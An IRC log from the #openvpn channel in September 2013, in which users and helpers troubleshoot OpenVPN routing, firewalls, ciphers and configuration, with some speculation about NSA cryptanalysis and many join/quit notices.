11:05 < mapito> you running an openvpn server?
11:05 < slimjimf1im> not atm, but i have many times
11:05 < mapito> aha
11:05 < mapito> what type/
11:05 < slimjimf1im> er well i never actually set up the server
11:06 < mapito> I was trying with a static key yesterday just to test - worked locally but got jammed on external ..apparently due to the fw and stuff
11:06 < mapito> ah
11:06 < slimjimf1im> i just added new users to one
11:06 < mapito> i want to use a VPN on my cell
11:06 < mapito> atm i use vortexvpn but i oly get 1gb allowed through it..free service for mobiles
11:06 < slimjimf1im> i think there's an android openvpn app
11:06 < mapito> and i use > 1gb 3g a month
11:06 < mapito> ya there's one for iOS that im using
11:07 < mapito> gotta get ready in a bit..work soon ;/
11:07 < slimjimf1im> you can't really trust vpn services
11:07 < mapito> y'all watching any of the early games?
11:07 < slimjimf1im> you should be running your own
11:07 < mapito> why
11:07 < mapito> yea
11:07 < slimjimf1im> because you can't control who they give access to
11:07 < mapito> yep
11:07 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:23 -!- wallbroken [~wallbroke@151.56.231.100] has quit [Ping timeout: 264 seconds]
11:27 < copper> mapito: I'd say you have it backwards
11:27 < mapito> what you mean
11:27 < copper> in light of the Snowden revelations, you should be more paranoid, not less
11:27 < mapito> for sure
11:27 < mapito> i get that but im just saying until we see proof or someone comes out saying id assume its bs ..i believe they monitor everythng they can
11:27 < mapito> but cracking cryptos? not so sure
11:28 < copper> also, if they have a backdoor, crypto or no crypto, doesn't make a difference
11:28 < mapito> thats true
11:29 < copper> currently, what you need to be paranoid about, is proprietary / commercial cryptography software
11:29 < copper> and all american online services
11:31 < copper> and there are possibilities of man in the middle attacks with SSL with certificates issued from american companies such as VeriSign
11:31 < copper> though that would require the NSA more effort, more targetted attacks
11:32 < copper> personally, I no longer trust any cryptography that isn't both open source, and installed by me
11:32 < copper> (and controlled by me, with no-one else having access)
11:32 < copper> such as, my OpenVPN tunnel
11:33 < copper> (er, I mean that I only trust crypto like my own OpenVPN tunnel)
11:34 < copper> and, I upgraded the key sizes
11:34 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
11:34 < copper> 256 / 4096
11:35 < copper> except for the OpenVPN data channel, I use Blowfish (which I believe is 128 bit by default)
11:36 < copper> blowfish 128 is said to be quite strong and secure, though
11:50 -!- akairobotto [~akairobot@95.146.110.112] has left #openvpn []
12:14 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
12:17 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
12:17 <@krzee> AES is what the NSA recommends, but hacker legend always told of an AES shortcut that the NSA knew and kept secret while pretending to trust AES
12:17 <@krzee> recent articles seem to point to that possibly being true, but theres still no proof anywhere? enough for me to stay off AES though
12:18 < copper> I switched to Twofish for SSH and cryptsetup
12:18 < copper> for that reason
12:18 < Eugene> Onefish, Twofish, Redfish, Blufish
12:19 < copper> apparently OpenVPN doesn't support it?
12:19 < copper> openvpn --show-ciphers doesn't list it
12:20 < copper> (oh, and I use it with gpg as well)
12:26 < copper> I know OpenVPN uses OpenSSL, but does it need to support OpenSSL ciphers explicitely? In other words, are OpenSSL ciphers not automatically supported in OpenVPN?
12:47 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
12:57 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 264 seconds]
13:01 < pekster> copper: For the data-channel, you need both openssl and openvpn support
13:01 < copper> I see
13:12 < julius_> i got the exact same config on two hosts (with different certificates) both hosts can connect to the openvpn but one cant ping any other hosts while the other can?
13:12 < julius_> http://pastebin.ca/2444974 this is the config
13:25 < pekster> julius_: If your client connects without errors or connectivity timeouts, you have a firewall problem. This is usually on the server, but clients can have their own firewalls too that can pose an issue (in particular outbound filtering tends to get in the way)
13:29 < julius_> pekster, its a fresh rented KVM box, all firewall policies are ACCEPT
13:29 < julius_> i also deactivated the windows firewall on the other box that cant run remote desktop connection to this host, no change
13:30 < Eugene> What's your server.conf look like
13:30 < Eugene> And that client.conf is censored; we don't speak those.
13:31 < julius_> one sec
13:31 < julius_> !paste
13:31 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
13:32 < pekster> Well, the remote IP and PEM contents aren't generally important (and errors there result in no connection or timeouts if the remote host isn't contacted)
13:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:34 < julius_> ah that, yes
13:35 < julius_> tried to remove the priate parts. did i remote to much?
13:35 < julius_> http://pastebin.ca/2445888     including client and server conf
13:36 < pekster> There is a lack of server config, or logs. See !logs and !configs .
13:36 < julius_> the openvpn-gui icon is green and openvpn-status.log lists the host
13:36 < julius_> !logs
13:36 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:36 < julius_> ah, verb 5
13:36 < pekster> 4 is fine if you get connected
13:37 < pekster> Failure to connect makes 5 useful (it prints a character in the log for every packet received)
13:37 < pekster> On your 'problem' client, can you ping the VPN server's IP across the VPN?
13:39 < stasher> can I have openvpn listen on multiple ports in the same instance, or do I have to run a different instance per port?
13:39 < julius_> pekster, no cant ping the server
13:39 < pekster> stasher: You'd need multiple instances. If it's the same protocol (udp or tcp) you can NAT it though
13:40 < stasher> pekster: thx.  Can I have two instances use the same tun device and network pool?
13:40 < pekster> julius_: Logs will help confirm you're actually connected and getting any required routes, but failure to ping the server is going to be a configuration issue or a firewall issue
13:41 < pekster> julius_: In your setup, you'd be pinging 10.8.2.1 (not the fake net30 peering IP. I'd recommend use of the 'subnet' topology, but it's not required. See !topology for info
13:41 < pekster> stasher: Nope, you need unique devices and network ranges
13:41 < stasher> thanks again
13:41 < pekster> In theory with tap you could have two taps part of the same higher-level bridge, but you should avoid tap unless you need it
13:42 < stasher> yeah, layer 3 is fine for my needs.  I was hoping to avoid having to add routes for yet another network
13:43 < pekster> OpenVPN on the server-side does the route-addition for you; if you meant elsewhere in your infrastructure, you can "supernet" multiple ranges
13:43 < pekster> f.ex, use 10.8.0/24 and 10.8.1/24, and route them into your VPN server using a /23
13:43 < stasher> supernet?  like ...gotcha
13:44 < pekster> (the opposite of a subnet. Going bigger, not smaller)
13:44 < stasher> yup :)
13:53 < julius_> pekster, thx for your time...will take a look at this tomorrow
13:53 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
13:57 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
14:07 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
14:18 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:21 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 268 seconds]
14:28 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
14:51 -!- Haseo [~Haseo@aufrinfo.net] has joined #openvpn
14:51 < Haseo> !welcome
14:52 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:52 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:52 < Haseo> !route
14:52 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
14:52 <@vpnHelper> the server or client
14:53 < Haseo> I love your Bot
14:53 < Haseo> really :)
14:53 -!- novaflash is now known as novaflash_away
14:54 -!- novaflash_away is now known as novaflash
15:03 -!- mattock_afk is now known as mattock
15:04 < Haseo> Okay... Does someone known why after some time (~30s) openVPN server take suddenly more CPU ?
15:05 < Haseo> perhaps it's normal ?
15:06 < Haseo> (openVPN run on a RaspberryPi)
15:07 < Haseo> !paste
15:07 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
15:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:09 < Haseo> here my conf : https://gist.github.com/Stratos42/6487981
15:10 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
15:12 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 260 seconds]
15:13 -!- eliasp [~quassel@134.3.243.224] has quit [Quit: No Ping reply in 180 seconds.]
15:13 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
15:13 -!- Oroszlan [~Leo@coruscant.placeholder.fr] has quit [Ping timeout: 245 seconds]
15:13 <@vpnHelper> Title: vpn.conf (at gist.github.com)
15:14 -!- Leo` [~Leo@coruscant.placeholder.fr] has joined #openvpn
15:14 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
15:16 -!- Leo` is now known as Oroszlan
15:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:42 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
15:45 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
15:45 -!- mode/#openvpn [+o dazo_afk] by ChanServ
15:45 -!- dazo_afk is now known as dazo
15:56 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
15:58 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Operation timed out]
16:21 -!- julius_ [~14354s@141.41.92.122] has quit [Read error: Connection reset by peer]
16:22 < Fohlen> Haseo, whats the problem exactly?
16:23 < Haseo> Fohlen: in fact I think I found where was the problem
16:23 < Fohlen> if its an ssd maybe chroot slows down the process a bit
16:23 < Fohlen> okay, what caused it?
16:23 < Haseo> I wanted to mount a CIFS by VPN
16:24 < Fohlen> I guessed something like that
16:24 < Haseo> yeah :) I finaly found on serverfault
16:24 < Fohlen> better take a share server
16:24 < Haseo> so now its with UDP and it work
16:24 < Haseo> Fohlen: share server ?
16:24 < Fohlen> kk
16:24 < Fohlen> like samba
16:25 < Haseo> ah ? its better ?
16:25 < Fohlen> well, its designed to mount such systems ...
16:26 < Fohlen> it will be more stable, and (which might be more interesting for you) you can controll access more precise
16:26 < Haseo> always by VPN ?
16:27 < Fohlen> samba (for example, any other server too) can be configured to have custom permissions per directory, user and so on
16:28 < Fohlen> if you mount the device via vpn every user in the vpn will be able to see it
16:28 < Fohlen> ofc you need to enable client-to-client then :P
16:29 < Haseo> yeah, I will try this. And samba don't need udp ?
16:29 < Fohlen> no, I dont think so
16:30 < Fohlen> but I'm not sure - that might depend on the kind of client you use
16:30 < Fohlen> but normally it should not
16:30 < Fohlen> better ask that in #samba :P
16:31 < Haseo> mmh Samba and smb are the same thing, you agree ?
16:32 < Haseo> so cifs is not the same thing that smb ?
16:32 < Haseo> different version perhaps
16:37 -!- Denial [Denial@05417302.skybroadband.com] has quit []
16:38 < Fohlen> maybe
16:38 < Fohlen> but samba should be able to mount most of windows-devices
16:39 < Fohlen> as well as "normal" ones
16:41 < Haseo> ok, I will try this.
16:42 < Haseo> Thanks Fohlen :)
16:42 < Fohlen> np :)
16:51 -!- master_of_master [~master_of@p4FF24C04.dip0.t-ipconnect.de] has joined #openvpn
16:53 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: ...]
16:54 -!- master_o1_master [~master_of@p4FD7BC37.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
16:58 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:59 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
17:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:05 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
17:07 -!- Netsplit *.net <-> *.split quits: hive-mind, folivora, _bt, @krzee, defswork, dvl, backjlack, Serano, jgeboski, NET||abuse,  (+41 more, use /NETSPLIT to show all of them)
17:08 -!- Netsplit over, joins: Rallias
17:10 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
17:12 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
17:14 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:18 -!- aegis [~aegis@184.75.214.82] has joined #openvpn
17:18 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
17:18 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
17:18 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
17:18 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
17:18 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
17:18 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
17:18 -!- folivora [~out@46.19.34.64] has joined #openvpn
17:18 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
17:18 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
17:18 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
17:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
17:18 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
17:18 -!- vertigo [bleach@i.like.irc.so] has joined #openvpn
17:18 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
17:18 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
17:18 -!- _bt [foobar@77.240.12.157] has joined #openvpn
17:18 -!- ServerMode/#openvpn [+o krzee] by holmes.freenode.net
17:19 -!- derRicha1d [~derRichar@pippin.sigma-star.at] has joined #openvpn
17:19 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
17:19 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
17:19 -!- Eagleman [~Eagleman@84.107.205.159] has joined #openvpn
17:19 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
17:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
17:19 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-lqlxbexdafxuttjk] has joined #openvpn
17:19 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
17:19 -!- ServerMode/#openvpn [+o novaflash] by holmes.freenode.net
17:19 -!- trumee_ [~parul@93.186.147.20] has joined #openvpn
17:19 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
17:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:19 -!- sysRPL [~bobswagga@97.101.214.44] has joined #openvpn
17:19 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
17:19 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
17:19 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
17:19 -!- Paddez1 [paddez@nat/dcunetworkingsociety/x-cuyykuiskvtkogot] has joined #openvpn
17:19 -!- defswork [~andy@141.0.50.105] has joined #openvpn
17:19 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
17:19 -!- abyss [~abyss@i-free.pl] has joined #openvpn
17:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
17:19 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
17:19 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
17:19 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
17:19 -!- Roelke [~Roelke@hostserv.nl] has joined #openvpn
17:19 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
17:19 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
17:19 -!- Serano [~serano@rooty.be] has joined #openvpn
17:19 -!- ServerMode/#openvpn [+o vpnHelper] by holmes.freenode.net
17:19 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
17:19 -!- peper [~peper@gentoo/developer/peper] has quit [Max SendQ exceeded]
17:19 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Max SendQ exceeded]
17:20 -!- EmLeX_ [~emx@37.46.193.18] has joined #openvpn
17:20 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
17:21 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:21 -!- Oroszlan [~Leo@coruscant.placeholder.fr] has quit [Excess Flood]
17:22 -!- Oroszlan [~Leo@coruscant.placeholder.fr] has joined #openvpn
17:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
17:33 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
17:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:34 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
17:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:59 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
17:59 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: clone]
17:59 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
18:14 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:22 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
18:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:27 -!- mode/#openvpn [+v pekster] by ChanServ
18:28 -!- Azrael_- [~idjfiawej@adsl-62-167-40-41.adslplus.ch] has joined #openvpn
18:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:59 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
19:08 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
19:12 -!- qwertyoruiop_ is now known as qwertyoruiop
19:24 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
19:45 -!- troyt [~troyt@2601:7:6d00:432:1849:7dff:fe26:5c04] has quit [Ping timeout: 245 seconds]
20:38 -!- troyt [~troyt@2601:7:6d00:432:98ee:b9ff:fe49:8a84] has joined #openvpn
20:40 -!- Carbon_Monoxide [~cmonxide@14.0.143.189] has joined #openvpn
20:41 -!- Carbon_Monoxide [~cmonxide@14.0.143.189] has left #openvpn []
21:51 -!- sysRPL [~bobswagga@97.101.214.44] has quit [Quit: Leaving]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Mon Sep 09 2013
00:13 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:29 -!- willybilly0101 [~willybill@unaffiliated/willybilly0101] has quit [Ping timeout: 240 seconds]
01:14 < mapps> yo
01:25 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:25 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:25 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:30 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:31 -!- fischli [~fischli@data.fischer-ing.de] has quit [Client Quit]
01:31 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:45 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
01:46 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
01:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:56 -!- wallbroken [~wallbroke@151.56.231.100] has quit [Ping timeout: 268 seconds]
01:57 -!- fischli [~fischli@data.fischer-ing.de] has quit [Remote host closed the connection]
01:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
01:58 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:58 -!- mode/#openvpn [+o dazo_afk] by ChanServ
01:59 -!- dazo_afk is now known as dazo
02:01 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:09 -!- crus` [~crusader@2001:44b8:319e:2900:fc12:c999:946d:524b] has quit [Ping timeout: 264 seconds]
02:09 -!- crus [~crusader@2001:44b8:319e:2900:fc12:c999:946d:524b] has joined #openvpn
02:13 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:20 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
02:20 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 256 seconds]
02:20 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
02:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:22 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
02:22 -!- mode/#openvpn [+v s7r] by ChanServ
02:33 -!- Tera_ is now known as Tera
02:34 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
02:34 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
02:35 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
02:36 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:17 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:43 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
03:44 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
03:48 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:49 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
03:49 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
03:50 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:50 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
03:52 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
04:21 -!- kro[au] [~thatguy@kgovps.com] has quit [Read error: Operation timed out]
04:24 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
04:24 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
04:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
04:27 -!- mode/#openvpn [+o dazo_afk] by ChanServ
04:27 -!- dazo_afk is now known as dazo
04:36 -!- _bt [foobar@77.240.12.157] has quit [Changing host]
04:36 -!- _bt [foobar@unaffiliated/bt/x-192343] has joined #openvpn
04:44 -!- mattock is now known as mattock_afk
04:49 -!- mikko [~mikko@211.24.39.87] has joined #openvpn
04:51 -!- mndo [~mndo@bl17-88-156.dsl.telepac.pt] has joined #openvpn
05:01 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
05:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
05:02 -!- mode/#openvpn [+o plaisthos] by ChanServ
05:28 -!- NetBilly [~pieter@105-236-229-247.access.mtnbusiness.co.za] has joined #openvpn
05:28 < copper> "A big clue as to susceptibility of 1024-bit RSA to cracking can be found in the government's own recommendations. In its SP 800-57 document, NIST, whose responsibilities include developing standard rules for use of encryption says that use of 1024-bit RSA is deprecated through to the end of this year and disallowed subsequently, precisely because it is susceptible to being broken. 2048-bit RSA, in comparison, is approved until 2030 and disallowed ther
05:28 < NetBilly> Hello. How would I tell openvpn to route anything I sent to it, but don't add any routes to the routing table?
05:28 < copper> http://arstechnica.com/security/2013/09/of-course-nsa-can-crack-crypto-anyone-can-the-question-is-how-much/
05:28 <@vpnHelper> Title: Of course NSA can crack crypto. Anyone can. The question is, how much? | Ars Technica (at arstechnica.com)
05:29 < copper> NetBilly: you can't tell your client to route your traffic without giving it… routes
05:30 < NetBilly> I want to add routes to the system that use the TUN gateway IP, but openvpn is not letting it through until I use push route
05:31 < copper> well yes, how else can you tell the client to route its traffic via the tunnel?
05:31 < NetBilly> the problem is that the source ip that routes through the vpn tunnel, is not on the tunnel network ip range
05:32 < copper> I'm not sure I understand your problem
05:32 < copper> my openvpn server is on a completely different network than my clients
05:32 < copper> which is a pretty common situation
05:33 < copper> so my openvpn server pushes routes to my clients, so that they can route their traffic through the tunnel
05:34 < copper> it's not that openvpn "wouldn't let them" otherwise, it's the clients that simply wouldn't route their traffic through the tunnel unless explicitely told to do so
05:34 < copper> which is completely normal
05:34 < copper> the clients can't read your mind
05:35 < copper> or, you could configure your clients yourself, to use the tunnel, without openvpn pushing routes
05:35 < copper> but you have to tell the clients what to do, one way or the other
05:36 < NetBilly> I am building a failover link to my datacenter from an outside fixed IP Site B ( openvpn client ), which connects to an ADSL line Site A ( openvpn server ) at the data center. Then I use port forwarding on the B side to forward all port 80 traffic through the vpn tunnel. The A side is running pfSense with OpenVPN server. I don't use NAT
05:38 < NetBilly> Is that possible ?
05:38 < copper> I'm sorry, I don't know how to route traffic without using NAT
05:38 < NetBilly> using the system routing table, and rdr
05:46 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
05:52 -!- mattock_afk is now known as mattock
06:05 < defswork> NetBilly, openvpn doesn't route - the network subsystem does routing
06:06 < defswork> openvpn merely allows
06:09 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Quit: If you see this, my dogfood was poisoned]
06:09 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
06:10 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
06:12 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
06:13 -!- mndo [~mndo@bl17-88-156.dsl.telepac.pt] has quit [Ping timeout: 248 seconds]
06:16 -!- mndo [~mndo@bl17-88-156.dsl.telepac.pt] has joined #openvpn
06:36 <@ecrist> defswork: that's not 100% accurate
06:41 < defswork> ecrist, yeah but without the routing in the system routing table the packets are never going to get to openvpn no ?
06:42 <@ecrist> well, it depends on where the traffic originates
06:43 <@ecrist> if the traffic originates from a VPN client, openvpn is the first to handle it.  there is a use case (or more) for keeping all traffic internal to the openvpn process.  In this case, openvpn will never pass the packets to the kernel, and keep them within the openvpn process
06:44 <@ecrist> NetBilly: for what you want to do, you're going to have to add routes to the kernel
06:46 -!- mikko [~mikko@211.24.39.87] has quit [Ping timeout: 256 seconds]
06:51 < kjs> Hmm, I am getting a weird issue... when uploading large file from a remote site (via OpenVPN connection) it stalls after about 4/5 MB
07:15 -!- Vustom [uid7276@gateway/web/irccloud.com/x-yvimvstswwqcvxii] has left #openvpn []
07:23 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:32 -!- tflat [~thomas@tb213-185-231-4.cust.teknikbyran.com] has joined #openvpn
07:33 < tflat> !welcome
07:33 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:33 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:34 < tflat> I would like to connect to watchguard vpn server with openvpn client. the watchguard server uses onetime passwords sent out with sms, problem are I can't type in the password anywhere.
07:36 < tflat> I'am using auth-user-pass in client configuration, but in order to get the passcode I need to fill in username and 'fixed' password in order to get OTP
07:38 < tflat> when connecting with openvpn client and filling in username/password I do receive the otp but then I don't have anywhere to enter otp password
07:40 < tflat> !goal
07:40 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:45 <@ecrist> tflat: watchguard is an openvpn vpn service?
07:46 <@ecrist> I don't think it is, in all honestly
07:46 <@ecrist> honesty*
